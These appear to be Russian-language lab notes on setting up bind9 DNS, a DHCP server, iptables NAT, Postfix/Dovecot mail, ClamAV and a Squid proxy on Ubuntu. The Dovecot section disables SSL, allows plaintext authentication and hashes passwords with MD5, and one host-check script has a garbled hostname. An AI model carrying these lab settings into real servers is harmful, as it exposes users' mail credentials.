 listen-on-v6 { none; }; - отключаем прослушивания ipv6 DNS на интерфейсах (вместо any прописали none)

---------------------------------

/etc/init.d/bind9 restart - перезапускаем демон bind9

host ya.ru 127.0.0.1 - проверяем работу нашего DNS сервера (демона bind9)


2. Редактируем файл /etc/resolv.conf после успешной проверки
nano /etc/resolv.conf - редактируем
---------------------
domain        d0.zor.inc
nameserver    127.0.0.1   - меняем строку nameserver указав ip 127.0.0.1 вместо ip внешнего сервера
---------------------

3. Редактируем файл etc/bind/named.conf.local создаем свою зону DNS "d0.zor.inc"
Типы зон: зона master принадлежит нам, зона slave о своем существовании узнает от мастера, зона  hint для домена точки со списком корневых серверов,

nano /etc/bind/named.conf.local - редактируем файл
-------------------------------
zone "d0.zor.inc" {
      type master; - тип зоны
      file "/etc/bind/d0.zor.inc.zone"; - файл с описание хостов зоны

};
-------------------------------


!!! Всегда проверяйте изменения конфига с помощью named-checkconf
named-checkconf - проверка конфиг файлов (по умолчанию проверяет только синтаксис, например файла d9.zor.inc.zone еще нет, а проверка молчит )
named-checkconf -z - при использовании параметра "-z" производит проверку файлов которых не хватает. 

4. Редактируем файл описания нашей зоны d0.zor.inc.zone
nano /etc/bind/d0.zor.inc.zone - редактируем файл
------------------------------
$TTL    30
$ORIGIN d0.zor.inc.

@       SOA     c0      root    2021011300      1h      10m     1d      30
        NS      c0
        MX      10      c0

c0 A 192.168.200.1
c1 A 192.168.200.2
router A 10.0.0.1
printer A 192.168.15.10
internet A 10.0.0.23

------------------------------


named-checkconf -z - проверка конфигурации на ошибки


!!! Да для того что-бы настройки вступили в силу можно перезагрузить сервер, перезапустить демон,
!!! но это скорее не правильное действие, лучше использовать специальную программу rndc

!!! rndc - специальная программа для управления bind
!!! Внимание rndc reload - перечитать все конфигурационные файлы и файлы описания зон
rndc reconfig - перечитать конфигурационный файл и загрузить только новые зоны


Пример скрипта проверки хостов № 1

#! /bin/sh
while :
do
  clear
  for x in `seq 1 10`
  do
   /bin/echo -ne "$x:\t"
   host c$x.d0.zor.inc. 192.168.200.$((0 + $x)) | grep zor
   /bin/echo -ne "$x:\t"
   host c0x.d$.zor.inc. 192.168.200.$((0 + $x)) | grep zor
   done
   sleep 2
done

Пример скрипта проверки хостов № 2

#! /bin/sh
while :
do
   /bin/echo -ne "\t"
   host router.d0.zor.inc 192.168.200.1 | grep zor
   /bin/echo -ne "\t"
   host c0.d0.zor.inc 192.168.200.1 | grep zor
   /bin/echo -ne "\t"
   host c1.d0.zor.inc 192.168.200.1 | grep zor
   /bin/echo -ne "\t"
   host printer.d0.zor.inc 192.168.200.1 | grep zor
   /bin/echo -ne "\t"
   host internet.d0.zor.inc 192.168.200.1 | grep zor
   sleep 5
   clear
done

Пример скрипта проверки хостов № 3

#! /bin/sh
while :
do
    for x in `seq 1 5`
    do
    /bin/echo -ne "test $x:\t\n\t"
    host router.d0.zor.inc 192.168.200.1 | grep zor
    /bin/echo -ne "\t"
    host c0.d0.zor.inc 192.168.200.1 | grep zor
    /bin/echo -ne "\t"
    host c1.d0.zor.inc 192.168.200.1 | grep zor
    /bin/echo -ne "\t"
    host printer.d0.zor.inc 192.168.200.1 | grep zor
    /bin/echo -ne "\t"
    host internet.d0.zor.inc 192.168.200.1 | grep zor
    sleep 5
    clear
    done
done


Сервер DNS - bind9 - добавление slave зоны

1. Редактируем файл и добавим slave зону d1.zor.inc
nano /etc/bind/named.conf.local
-------------------------------
zone "d0.zor.inc" {
      type master;
      file "/etc/bind/d0.zor.inc.zone";

};

zone "d1.zor.inc" {
      type slave;
      master {10.0.0.27;};
      file "d1.zor.inc.zone"; # !!! Внимание: без этой строки кэша не будет, путь относительный, файл описания зоны, файл кэш с мастера на d0 искать тут /var/cache/bind/d1.zor.inc.zone

};
-------------------------------

2. Проверяем на ошибки 
named-checkconf - проверка конфигурации на ошибки

3. Применяем изменения 
rndc reconfig - перечитать конфигурационный файл и загрузить только новые зоны

4. Проверяем, c1 - ПК в домене d1.zor.inc.
host c1.d1.zor.inc.

Сервер DNS - bind9 - добавление зоны обратного преобразования (ptr запись)

!!! Домен in-addr.arpa
!!! .in-addr.arpa. - Это специальный домен, предназначенный для обратного преобразования.
!!! FQDN будет выглядеть следующим образом: 192.168.200.1.in-addr.arpa
!!! Все примеры, которые мы до сих пор рассматривали, относились к прямому преобразованию, когда имя машины преобразовывалось в IP адрес. 
!!! DNS сервера позволяют осуществлять и обратное преобразование — IP адрес в имя машины.
!!! 10.in-addr.arpa. 10/8 10.0.0/8  
!!! 10.10.in-addr.arpa. 10.10/16 10.10.0/16  
!!! 10.10.10.in-addr.arpa. 10.10.10/24 10.0.0.0/24

!!! у меня в  примере три сети 192.168.200/24, 192.168.15/24,  10.0.0/24 поэтому три файла
!!! Внимание на забывайте ставить точку в имени FQDN (c0.d0.zor.inc.) , ( 200.168.192.in-addr.arpa.)

0. Редактируем файл /etc/bind/named.conf.local, добавим ptr зону 10.0.0.in-addr.arpa
nano /etc/bind/named.conf.local
-------------------------------
zone "d0.zor.inc" {
      type master;
      file "/etc/bind/d0.zor.inc.zone";

};

zone "0.0.10.in-addr.arpa" {
      type master;
      file "/etc/bind/0.0.10.in-addr.arpa.zone";

};

zone "15.168.192.in-addr.arpa" {
      type master;
      file "/etc/bind/15.168.192.in-addr.arpa.zone";

};

zone "200.168.192.in-addr.arpa" {
      type master;
      file "/etc/bind/200.168.192.in-addr.arpa.zone";

};
-------------------------------


1. редактируем файл  /etc/bind/0.0.10.in-addr.arpa.zone
nano /etc/bind/0.0.10.in-addr.arpa.zone
----------------------------------
$TTL    30
$ORIGIN 0.0.10.in-addr.arpa.

@       SOA     c0.d0.zor.inc.  root.d0.zor.inc.        (
                2021011300      1h      10m     1d      30)
        NS      c0.d0.zor.inc.

23      PTR internet.d0.zor.inc.
1       PTR router.d0.zor.inc.

----------------------------------


2. редактируем файл  /etc/bind/200.168.192.in-addr.arpa.zone
nano /etc/bind/200.168.192.in-addr.arpa.zone
----------------------------------
$TTL    30
$ORIGIN 200.168.192.in-addr.arpa.

@       SOA     c0.d0.zor.inc.  root.d0.zor.inc.        (
                2021011300      1h      10m     1d      30)
        NS      c0.d0.zor.inc.

#$GENERATE 0-254 ${0} PTR c$.d0.zor.inc. - удали нафиг это пример
#$GENERATE 0-54 ${200} PTR c$.d0.zor.inc. - удали нафиг это пример

$GENERATE 0-5 ${1} PTR c$.d0.zor.inc.



----------------------------------

3. редактируем файл  /etc/bind/15.168.192.in-addr.arpa.zone
nano /etc/bind/15.168.192.in-addr.arpa.zone
----------------------------------
$TTL    30
$ORIGIN 15.168.192.in-addr.arpa.

@       SOA     c0.d0.zor.inc.  root.d0.zor.inc.        (
                2021011300      1h      10m     1d      30)
        NS      c0.d0.zor.inc.

10      PTR printer.d0.zor.inc.

----------------------------------

4. Применяем изменения 
named-checkconf -z - проверяем конфиг файлы bind

Если с конфигурационными файлами все в порядке, применяем изменения с помощью rndc
rndc reconfig - перечитать конфигурационный файл и загрузить только новые зоны
!!! Внимание rndc reload - перечитать все конфигурационные файлы и файлы описания зон
rndc reload 15.168.192.in-addr.arpa. - перезапустить зону 15.168.192.in-addr.arpa.

5. Проверяем
host 192.168.15.1
host 192.168.200.1
host 192.168.200.2
host 10.0.0.1
host 10.0.0.23

Если все хорошо, в ответ мы получим ИП_АДРЕС.in-addr.arpa domain name pointer ИМЯ.d0.zor.inc.

bind очистка кэша:

rndc dumpdb -all  - сохранить кэш в файл named_dump.db  (обычно тут /var/bind/named_dump.db)

rndc flushname mx.example.ru. - удаляем mx.example.ru из кэша

rndc flush - очистить кэш

Пример:
rndc flushname mx.example.ru. - удаляем mx.example.ru из кэша
rm /var/bind/named_dump.db - удаляем дамп кэша DNS
rndc dumpdb -all - сохраняем дамп кэша DNS
grep mx.example.ru /var/bind/named_dump.db - проверяем если запись

DHCP

!!! порты UDP, сервер 67, клиент 68
!!! ipv4 - DHCP - определена в RFC 2131
!!! ipv6 - DHCPv6 и определена в RFC 3315
Передача данных производится при помощи протокола UDP, при этом сервер принимает сообщения от клиентов на порт 67 и отправляет сообщения клиентам на порт 68.

Запрос IP клиентом DHCPDISCOVER:
Он отправляет сообщение типа DHCPDISCOVER, при этом в качестве IP-адреса источника указывается 0.0.0.0 (так как компьютер ещё не имеет собственного IP-адреса), а в качестве адреса назначения — широковещательный адрес 255.255.255.255.
В сообщении клиент заполняет несколько полей начальными значениями:
уникальный идентификатор транзакции, который позволяет отличать данный процесс получения IP-адреса от других, протекающих в то же время;
аппаратный адрес (MAC-адрес) клиента;
последний известный клиенту IP-адрес, а в данном примере это 192.168.1.100;
Это необязательно и может быть проигнорировано сервером.

Сервер DHCP предлагает IP адрес клиенту DHCPOFFER:
Это сообщение DHCP-сервер рассылает широковещательно. 
Клиент может получить несколько различных предложений DHCP от разных серверов; из них он должен выбрать то, которое его «устраивает».

Клиент выбирает конфигурацию предложенную DHCP-серверами DHCPREQUEST:
Выбрав одну из конфигураций, предложенных DHCP-серверами, клиент отправляет запрос DHCP (DHCPREQUEST). 
Он рассылается широковещательно; при этом к опциям, указанным клиентом в сообщении DHCPDISCOVER, добавляется специальная опция 
— идентификатор сервера — указывающая адрес DHCP-сервера, выбранного клиентом.

Подтверждение DHCP
Сервер подтверждает запрос и направляет это подтверждение (DHCPACK) клиенту. 
После этого клиент должен настроить свой сетевой интерфейс, используя предоставленные опции.

DHCP установка сервера (isc-dhcp-server)

apt-cache -n search dhcp - ищем пакет с именем (параметр -n) dhcp 
apt-cache search -n dhcp - ищем пакет с именем (параметр -n) dhcp 
apt-cache search -n dhcp | grep server  - ищем пакет с именем (параметр -n) dhcp 

apt install isc-dhcp-server - устанавливаем DHCP сервер

DHCP настройка сервера (isc-dhcp-server)

0. редактируем файл /etc/default/isc-dhcp-server
nano /etc/default/isc-dhcp-server
---------------------------------
INTERFACESv4="lan"
---------------------------------

1. Перейдем в каталог /etc/dhcp 
cd /etc/dhcp

тут два файла 
dhclient.conf - настройки dhcp клиента 
dhcpd.conf - настройки сервера


1. редактируем файл /etc/dhcp/dhcpd.conf
> dhcpd.conf - очистим файл
nano dhcpd.conf - редактируем файл
---------------
# Глобальные настройки
option domain-name "d0.zor.inc"; # наша зона DNS
option domain-name-servers 192.168.200.1;  # наш  DNS сервер
option routers 192.168.200.1; # Маршрут по умолчанию

default-lease-time 600; # время аренды ip десять минут
max-lease-time 86400; # время ожидания доступности dhcp сервера один день (через день клиент получит адрес APIPA 169.$

ddns-update-style none; # отключаем отправку нашему dns серверу о новых клиентах
authoritative; # говорим всем что самый главный dhcp сервер (у клиента не будет задержи при получения ip)

# Настройки для сети 192.168.200.0/24
subnet 192.168.200.0 netmask 255.255.255.0 {
#option netbios-name-servers 192.168.200.1; # в 2021 году net-bios зачем?, можно удалить
#option domain-name-servers 192.168.200.1; # можно удалить, указали в глобальных настройках
#option domain-name "d0.zor.inc"; # можно удалить, указали в глобальных настройках
#option routers 192.168.200.1; # можно указать в глобальных настройках, тем более если сеть одна.
#option broadcast-address 192.168.200.255; # можно удалить
range 192.168.200.50 192.168.200.250;
}
---------------

2. Итоговый файл /etc/dhcp/dhcpd.conf
nano dhcpd.conf - редактируем файл
---------------
option domain-name "d0.zor.inc";
option domain-name-servers 192.168.200.1;
option routers 192.168.200.1;

default-lease-time 600;
max-lease-time 86400;

ddns-update-style none;
authoritative;

subnet 192.168.200.0 netmask 255.255.255.0 {
       range 192.168.200.50 192.168.200.250;
}

---------------

3. Проверяем конфиги dhcp сервера
dhcpd -t - команда проверки конфигов dchp сервера 

4. если все хорошо то перезапускаем dhcp сервер
/etc/init.d/isc-dhcp-server restart - перезапускаем dhcp сервер 

Включение IP Forward

!!! По умолчанию ip forward выключен
!!! Если forward выключен то не будет работать маршрутизация между интерфейсами
cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward

echo 1 > /proc/sys/net/ipv4/ip_forward - так мы можем включить IP forward

!!! Для постоянного включения необходимо отредактировать файл  /etc/sysctl.conf, найти строку net.ipv4.ip_forward=1 и убрать комментарий с неё
nano /etc/sysctl.conf
---------------------
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
---------------------
sysctl -p  - выполняем для применения изменений без перезагрузки 
sysctl -f  - выполняем для применения изменений без перезагрузки 

NAT

!!! В организация NAT не должно быть в принципе. Доступ к интернету должен осуществляется через proxy сервер
!!! eth0 = isp


NAT:
iptables -t nat -A POSTROUTING -o isp -j MASQUERADE
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 
forward port:
iptables -t nat -A PREROUTING -p tcp -d 192.168.3.124 --dport 3389 -j DNAT --to 10.70.70.105:3389
iptables -t nat -A PREROUTING -p tcp -d 192.168.3.124 --dport 5090 -j DNAT --to 10.70.70.101:5090


DHCP настроим имя для хоста + IP address

Bind дополнительные настройки

directory 
Определяет директорию, в которой сервер BIND будет искать файлы описания зон и создавать различные
дополнительные файлы. Обычно этот параметр ссылается на директорию /var/named.
Пример:
directory «/var/named»

notify yes|no 
Если параметр notify равен yes, то при изменении описания зоны будут посланы уведомления всем slave DNS серверам. 
Значение по умолчанию — yes.
Пример:
notify no

also-notify address 
При помощи этого параметра определяются DNS сервера, которые необходимо уведомить при изменении зоны.
Slave DNS сервера в этом списке указывать не надо.
Значение по умолчанию не определено.
Пример:
also-notify { 193.12.20.1; 193.12.38.200; };

recursion yes|no 
Параметр определяет, будет ли сервер BIND рекурсивным сервером. 
Значение по умолчанию — yes.
Пример:
recursion yes

allow-recursion address 
Этот параметр определяет адреса машин или сетей, для которых сервер BIND будет выступать в роли рекурсивного сервера. 
Значение по умолчанию неопределенно.
Пример:
allow-recursion { 193.12.13.240; 194.12.34/24; };

listen-on port порт list 
Параметр позволяет определить, на каком интерфейсе и порту будет слушать запросы сервер. 
Значение по умолчанию: все интерфейсы, порт 53.
Пример:
listen-on { 5.6.7.8; };
listen-on port 1234 { ! 1.2.3.4; 1.2/16; };

allow-query адреса 
Параметр определяет, с каких адресов можно посылать запросы нашему серверу. 
Значение по умолчанию:
разрешены все адреса.
Пример:
allow-query { 1.2.3.4; 10.10.100/24; };

allow-transfer адреса 
Параметр определяет, на какие сервера разрешены зонные пересылки. 
Значение по умолчанию: пересылки разрешены всем серверам.
Пример:
allow-transfer { 1.2.3.4; 10.10.100/24; };

blackhole адреса 
Параметр определяет адреса серверов, запросы от которых будут всегда игнорироваться. 
Сервер не будет посылать им свои запросы. 
Значение по умолчанию: список не определен.
Пример:
blackhole { 1.2.3.4; 2.3.4.5; };

Электронная почта

# https://help.ubuntu.ru/wiki/postfix - подробное руководство
# https://help.ubuntu.com/community/PostfixCompleteVirtualMailSystemHowto - подробное руководство


apt-get install postfix dovecot-imapd dovecot-pop3d - установка
dpkg-reconfigure postfix - пере конфигурация 

Выбираем следующие:
internet-site - настройки
c0.d0.zor.inc -  имя FQDN  почтового сервера 

Пользовательский агент (ПА)
Транспортный агент (ТА)
Агент подачи почты (АП)
Агент доставки почты (АДП)
Агент доступа (АД)

Для работы почты требуется MX запись
Для борьбы со спамом SPF-запись, PTR-запись

!!! OPEN RELAY - режим работы сервера, пересылка почты, передаст, грозит попаданием в черные списки как спамер, практически единственная возможность выбраться смена внешнего IP адреса

!!! Старые клиенты
pine
alpine
pico


/etc/postfix/main.cf - файл конфигурации postfix
/etc/dovecot/dovecot.conf - файл конфигурации dovecot

Пример отправки почты (SMTP):

0. Используем программу netcat(nc), подключаемся к почтовому серверу c0, порт 25
nc c0 25

сервер нам ответил что все ок, и ждет дальнейших указаний
220 c0.d0.zor.inc ESMTP Postfix (Ubuntu)

1. Приветствуем  почтовый сервер
helo localhost

Получаем ответ
250 c0.d0.zor.inc

2. Представляемся кто мы
mail from: 

Сервер отвечает
250 2.1.0 Ok

3. Сообщаем серверу что хотим отправить student@localhost сообщение
rcpt to: 

Почтовый сервер разрешает отправку
250 2.1.5 Ok

4. Запрашиваем передачу данных
data

Почтовый сервер разрешает передачу и просит в конце  письма указать строку с одной точкой
354 End data with .

5. Пишем письмо
hello student!
bye-bye
.

Почтовый сервер сообщает что письмо получено и ИД у письма A6E68A11B7
250 2.0.0 Ok: queued as A6E68A11B7

6. Отключаемся от почтового сервера
quit

Почтовый сервер прощается
221 2.0.0 Bye

7. По умолчание письмо будет положено в файл /var/mail/student
/var/mail - каталог почты пользователей
cat /var/mail/student - проверяем содержимое файла 

8. Лог получения письма
/var/log/ - каталог с логами 
grep A6E68A11B7 /var/log/mail.log - смотрим лог получения письма, A6E68A11B7 - ID письма
---------------------------------
Jan 27 07:06:38 c0 postfix/smtpd[10135]: A6E68A11B7: client=c0.d0.zor.inc[10.0.0.23]
Jan 27 07:07:18 c0 postfix/cleanup[10296]: A6E68A11B7: message-id=<20210127070638.A6E68A11B7@c0.d0.zor.inc>
Jan 27 07:07:18 c0 postfix/qmgr[5913]: A6E68A11B7: from=, size=328, nrcpt=1 (queue active)
Jan 27 07:07:18 c0 postfix/local[10297]: A6E68A11B7: to=, relay=local, delay=121, delays=121/0.01/0/0.01, dsn=2.0.0, status=sent (delivered to mailbox)
Jan 27 07:07:18 c0 postfix/qmgr[5913]: A6E68A11B7: removed
---------------------------------

Протоколы получения / хранения почты клиентом (АД):

POP3 - Клиент (ПА) подключается к серверу,  получает почту на ПК (загружаем ее с сервера)
IMAP - Клиент (ПА) подключается к серверу, почта хранится на сервере, клиент (ПА) её просматривает. 

MBOX - формат хранения почты по умолчанию (самый простой), вся почта сыпется в один файл, разделить пробел и строчка from, используется с POP3 (демон popa3d, dovecot-pop3d), не подходит для IMAP

MailDir - формат хранения почты в виде иерархии каталогов и файлов, подходит для IPMAP и POP3 (пакеты dovecot-imapd и dovecot-pop3d)


https://postfix.ru - рецепты готовки почтового сервера на все случаи жизни

Настройка postfix / виртуальные хосты

0. Редактируем файл /etc/postfix/main.cf
nano /etc/postfix/main.cf
-------------------------
smtpd_banner = $myhostname ESMTP $mail_name
biff = no
append_dot_mydomain = no
myhostname = localhost
home_mailbox = Maildir/
virtual_mailbox_domains = /etc/postfix/vhosts
virtual_mailbox_base = /home/vmail
virtual_mailbox_maps = hash:/etc/postfix/vmaps
virtual_minimum_uid = 1000
virtual_uid_maps = static:5000
virtual_gid_maps = static:5000
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = $myhostname
mynetworks = 127.0.0.0/8 192.168.0.0/24
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
-------------------------

!!! /etc/init.d/postfix restart - перезапустим postfix для применения настроек

1. Создадим пользователя  и группу vmail для наших будущих виртуальных ящиков
groupadd -g 5000 vmail - создаем группу vmail с GUID равный 5000
useradd -m -u 5000 -g vmail -s /bin/bash vmail - создаем пользователя vmail, UID 5000, добавляем его в группу vmail, шелл указываем ему bash


2. Создадим файлы vhosts и vmaps в каталоге /etc/postfix
cd /etc/postfix - перешли в каталог /etc/postfix
touch vhosts vmaps - создали файлы vhosts vmaps

3. Добавим записи в файл /etc/postfix/vhosts
!!! vhosts это файл наших доменов которые мы обслуживаем
cd /etc/postfix - перешли в каталог /etc/postfix
echo b14esh.com >> vhosts
echo d0.zor.inc >> vhosts

4. Добавим записи в файл /etc/postfix/vmaps
!!! vmaps - это файл указывающий на место расположения виртуальных почтовых адресов
nano /etc/postfix/vmaps
-----------------------
zaec@b14esh.com b14esh.com/zaec/
yo@d0.zor.inc d0.zor.inc/yo/ 
-----------------------

5. Конвертируем файл /etc/postfix/vmaps в хэш файл
!!! ОБЕЗАТЕЛЬНО
postmap /etc/postfix/vmaps

6. Проверка, пошлем письмо командой mail
# Используя любой почтовый клиент, например mutt, ну или mail, отправим письмо

mutt zaec@b14esh.com 
mutt yo@d0.zor.inc

В каталоге /home/vmail/ должны появится каталоги с доменами.
Новые тестовые письма упадут в каталог new.

tree
.
├── b14esh.com
│   └── zaec
│       ├── cur
│       ├── new
│       │   └── 1612244173.Vfc02Ie29eaM119102.c0
│       └── tmp
└── d0.zor.inc
    └── yo
        ├── cur
        ├── new
        │   └── 1612244308.Vfc02Ie29f0M317344.c0
        └── tmp


Содержимое писем можно посмотреть так:
cat /home/vmail/b14esh.com/zaec/new/1612244173.Vfc02Ie29eaM119102.c0
cat /home/vmail/d0.zor.inc/yo/new/1612244308.Vfc02Ie29f0M317344.c0

Настройка dovecot

0. Редактируем файл /etc/dovecot/dovecot.conf 
nano /etc/dovecot/dovecot.conf
------------------------------
#base_dir = /var/run/dovecot
#listen = *, :: #enable ipv6
listen = *
protocols = imap pop3
disable_plaintext_auth = no
shutdown_clients = yes
log_path = /var/log/dovecot
info_log_path = /var/log/dovecot.info
log_timestamp = "%Y-%m-%d %H:%M:%S "
ssl_disable = yes
login_dir = /var/run/dovecot/login
login_chroot = yes
login_user = dovecot
login_greeting = Dovecot ready.
mail_location = maildir:/home/vmail/%d/%n
mmap_disable = no
valid_chroot_dirs = /var/spool/vmail

protocol imap {
login_executable = /usr/lib/dovecot/imap-login
mail_executable = /usr/lib/dovecot/imap
}

protocol pop3 {
login_executable = /usr/lib/dovecot/pop3-login
mail_executable = /usr/lib/dovecot/pop3
pop3_uidl_format = %08Xu%08Xv
}

#auth_executable = /usr/lib/dovecot/dovecot-auth
auth_verbose = yes

auth default {
mechanisms = plain digest-md5

passdb passwd-file {
args = /etc/dovecot/passwd
}

userdb passwd-file {
args = /etc/dovecot/users
}
user = root
}

------------------------------
1. Перезапускаем демон dovecot
/etc/init.d/dovecot restart

Создадим скрипты создания пользователей для dovecot, скрипты adddovecotuser и mkdovecotpasswd


0. adddovecotuser
nano adddovecotuser
-------------------
echo "$1" > /tmp/user
user=`cat /tmp/user | cut -f1 -d "@"`
domain=`cat /tmp/user | cut -f2 -d "@"`
echo "$user@$domain::5000:5000::/home/vmail/$domain/:/bin/false" >> /etc/dovecot/users
/usr/bin/maildirmake.dovecot /home/vmail/$domain/$user 5000:5000
echo $1 $domain/$user/ >> /etc/postfix/vmaps
postmap /etc/postfix/vmaps
postfix reload
-------------------

1. mkdovecotpasswd
nano mkdovecotpasswd
--------------------
mkpasswd --hash=md5 $2 > /tmp/hash
echo "$1:`cat /tmp/hash`" >> /etc/dovecot/passwd

--------------------

2. Скопируем их в папку /usr/local/sbin/
cp adddovecotuser mkdovecotpasswd /usr/local/sbin/

3. Добавляем бит исполнения для adddovecotuser и mkdovecotpasswd
chmod u+x /usr/local/sbin/adddovecotuser
chmod u+x /usr/local/sbin/mkdovecotpasswd

Создание учетных записей для devcot используя скрипты adddovecotuser и mkdovecotpasswd

0. используем скрипты adddovecotuser
adddovecotuser user_name - создает пользователя user_name и mkdovecotpasswd 
mkdovecotpasswd user_name password123 - задает пользователю user_name с паролям password123

adddovecotuser zaec@b14esh.com 
mkdovecotpasswd zaec@b14esh.com  pass1

adddovecotuser yo@d0.zor.inc
mkdovecotpasswd yo@d0.zor.inc pass2

1. Защитите файл пароля:
chmod 640 /etc/dovecot/passwd

2. Перезапустим dovecot и  postfix
/etc/init.d/postfix restart
/etc/init.d/dovecot restart

Тестирование почты \ проверка приема и отправки

0. Используем программу nc, тестируем на самом сервере
nc localhost 25 - подключаемся к серверу
---------------
220 localhost ESMTP Postfix - ответ сервера
helo localhost - представляемся
250 localhost - ответ сервера
mail from:  - пишем письмо от пользователю root@localhost
250 2.1.0 Ok - ответ сервера
rcpt to: - пишем письмо пользователю zaec@b14esh.com
250 2.1.5 Ok - ответ сервера
data - начинаем передачу данных
354 End data with . - ответ сервера, в конце данных просит указать пустую строку с точкой
helo helolllo 1234 !!!! - наши данные
.
250 2.0.0 Ok: queued as EEAE8A0F90 - ответ сервера, письмо принято в очереди у него ID: EEAE8A0F90
quit - отключаемся от сервера
221 2.0.0 Bye - ответ сервера, сервер с нами прощается
----------------

1. Проверка работы dovecot
ss -tpln | grep dovecot
pgrep dovecot
lsof -i tcp:143
lsof -i tcp:110
tail /var/log/dovecot
tail /var/log/dovecot.info

2. Перезапуск
/etc/init.d/dovecot restart

3. Проверяем pop3
nc localhost 110 - подключаемся для проверки
-----------------
+OK Dovecot ready.
user ggg@b14esh.com
+OK
pass pass1
+OK Logged in.
list
+OK 1 messages:
1 389
.
retr 1
+OK 389 octets
Return-Path: 
X-Original-To: ggg@b14esh.com
Delivered-To: ggg@b14esh.com
Received: from localhost (localhost [127.0.0.1])
        by localhost (Postfix) with SMTP id CBDCAA06A4
        for ; Tue,  9 Feb 2021 11:17:20 +0000 (UTC)
Message-Id: <20210209111738.CBDCAA06A4@localhost>
Date: Tue,  9 Feb 2021 11:17:20 +0000 (UTC)
From: zaza@rrrru.ru

 helo men!!!123
.
dele 1
+OK Marked to be deleted.
quit
+OK Logging out, messages deleted.
-----------------

Частичная расшифровки конфига /etc/posfix/main.cf

smtpd_banner = Microsoft(R) Exchange(TM) 2017 Platinum Edition # как наш сервер представляется
biff = no #извещение что письмо пришло
append_dot_mydomain = no # авто дополнение имени домена для пользователя
myhostname = localhost
home_mailbox = Maildir/ # для пользователи у которого почта не virtual_mailbox, будет хранится в домашнем каталоге
virtual_mailbox_domains = /etc/postfix/vhosts # для каких доменов мы принимаем почту
virtual_mailbox_base = /home/vmail
virtual_mailbox_maps = hash:/etc/postfix/vmaps # карта где мы храним почту, создается файл vmaps.db, после изменения необходимо выполнять postmap vmaps.
virtual_minimum_uid = 1000
virtual_uid_maps = static:5000
virtual_gid_maps = static:5000
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = $myhostname
mynetworks = 127.0.0.0/8 192.168.15.0/24 10.0.0.0/24 192.168.200.0/24 # разрешенные сети
mailbox_size_limit = 0 # ограничение размера ящика
recipient_delimiter = +
inet_interfaces = all # интерфейсы которые мы слушаем
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination

Перечитать alias, vmaps

postmap vmaps

postalias /etc/aliases
newaliases

Почтовые псевдонимы \ алиасы \ alias

0. По умолчанию /etc/aliases
cat /etc/aliase
---------------
# See man 5 aliases for format
postmaster:    root
--------------

1. Пример использования  /etc/aliase
cat /etc/aliase
---------------
# See man 5 aliases for format
postmaster:    root #Почта для postmaster пересылается root
root:          vasya,petya # почта для root пересылается vasya и petya
vasya:         vasya,petya # почта для vasya  приходит vasya и пересылается petya
tolya:         /home/tolya/mbox,petya,vasya@yandex.ru,|/usr/local/bin/messenger # почта для tolya кладется в файл mbox, пересылается petya и на внешнею почту vasya@yandex.ru, далее передать на программу "|/usr/local/bin/messenger"
--------------
!!! Обычно все ТА при использовании alias не будут пересылать одно и тоже письмо несколько раз.


Почтовый антивирус \ clamav

0. Ознакомимся с инструкцией
ищем в google >  site:ubuntu.com postfix clamav
https://help.ubuntu.com/community/PostfixVirtualMailBoxClamSmtpHowto

1. Ставим пакет clamsmtp
apt-get install clamsmtp

2. Запускаем обновление freshclam
!!! в последних версиях ubuntu freshclam запускается сам после установки
freshclam - запуск обновления базы данных 

!!! Антивирусная защита работает следующим образом, postfix отдает письма на проверку  clamsmtp, письмо проверяется, 
clamsmtp в случае вируса сообщает о вирусе postfix, postfix такое письмо удаляет у пользователя.

Proxy и NAT

Сосед попросил вас позвонить в газовую службу. 
Вы - прокси для соседа.

Несколько соседей попросили позвонить вас в газовую службу. 
Вы позвонили по первой просьбе, а на другие ответили, что уже звонили. 
Вы - кеширующая прокси для соседей.

Сосед взял ваш телефон и позвонил в газовую службу с вашего номера. 
Вы - NAT для соседа.

А прозрачный прокси?
Сосед думает, что звонит в газовую службу, но вы обрезали его телефонную линию, 
с коммутировали на своём телефоне и притворяетесь работником газовой службы.

Прокси сервер \ SQUID

!!! [c] <=========> [p] <--------->[s]
!!! [browser] <=====HTTP====> [webserver]
!!! [request] header, body - запрос клиента
!!! [response] header, body - ответ сервера


nc ya.ru 80
-----------
HEAD / HTTP/1.0

-----------

MIME base64 - картинки
ASCII

apt-get install squid - установим squid, прокси сервер
apt-get install apache2 - установим apache2, веб сервер

lsof -i tcp:3128
lsof -i tcp:80
lsof -i tcp:443

!!! ВНИМАНИЕ PROXY SERVER SQUID в Ubuntu будет по умолчанию запущен на всех интерфейсах


squid -k c - проверяем конфиг (squid должен работать)
squid -k p - проверяем конфиг (возможен запуск проверки при остановленном squid)
squid -k r - проверяем конфиг и применяем изменения

/etc/squid/squid.conf - конфигурационный файл squid

nano /etc/squid/squid.conf - конфигурируем
-------------------------- 
#http_port 3128 - находим и изменяем, светим на всех интерфейсах
http_port 192.168.200.1:3128 localhost:3128

# !!! Ищем эту строку: 
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
# после нее создаем правила http_access
# далее подымаемся вверх pageup(несколько раз) и создаем правила acl 

# ACL - описание условия
# acl aclname acltype "/file/file"
# acl aclname acltype string
# acl localnet src XXX.XXX.XXX.XXX - убираем \ комментируем лишние сети (группа localnet)
acl myhost src 192.168.200.1 - добавляем хост с которого можно на прокси (группа myhost)
acl mynet src 192.168.200.0/24 - добавляем нашу сеть с именем mynet (группа mynet)
acl wt time 10:00-17:00 - задаем время в которое можно выходить в интернет (группа wt)
acl rambler dstdomain .rambler.ru (группа rambler)


# http_access - директива, которая разрешает или запрещает выполнение условия
# !!! Правила терминирующие выполняются сверху вниз
# комментируем не нужную сети \ или удаляем
http_access allow myhost - разрешаем доступ в интернет через прокси группе myhost
http_access deny rambler - запрещаем доступ в интернет через прокси группе rambler
http_access allow mynet wt - разрешаем доступ в интернет через прокси группе mynet 
# And finally deny all other access to this proxy
# !!! обязательное правило
http_access deny all - запрещаем остальные обращения через прокси 
---------------------------

squid -k c - проверяем конфиг
squid -k r - применяем изменения

!!! Проверяем
